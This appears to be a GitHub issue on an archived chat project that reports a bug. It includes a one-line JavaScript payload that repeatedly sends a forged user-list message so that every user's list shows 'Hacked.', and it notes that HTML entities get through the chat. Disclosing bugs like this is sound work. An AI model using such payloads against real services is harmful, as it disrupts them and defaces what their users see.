This repository was archived by the owner on Apr 27, 2021. It is now read-only.

Description
I was able to corrupt the user list for all users using the following script:
setInterval(function() {sendToServer({type:"userlist",users:["Hacked.","By helllo-smile6@github"]});,1);
Additionally, HTML entities can be used in the chat. HTML code is nullified. This may create additional, more secure vulnerabilities.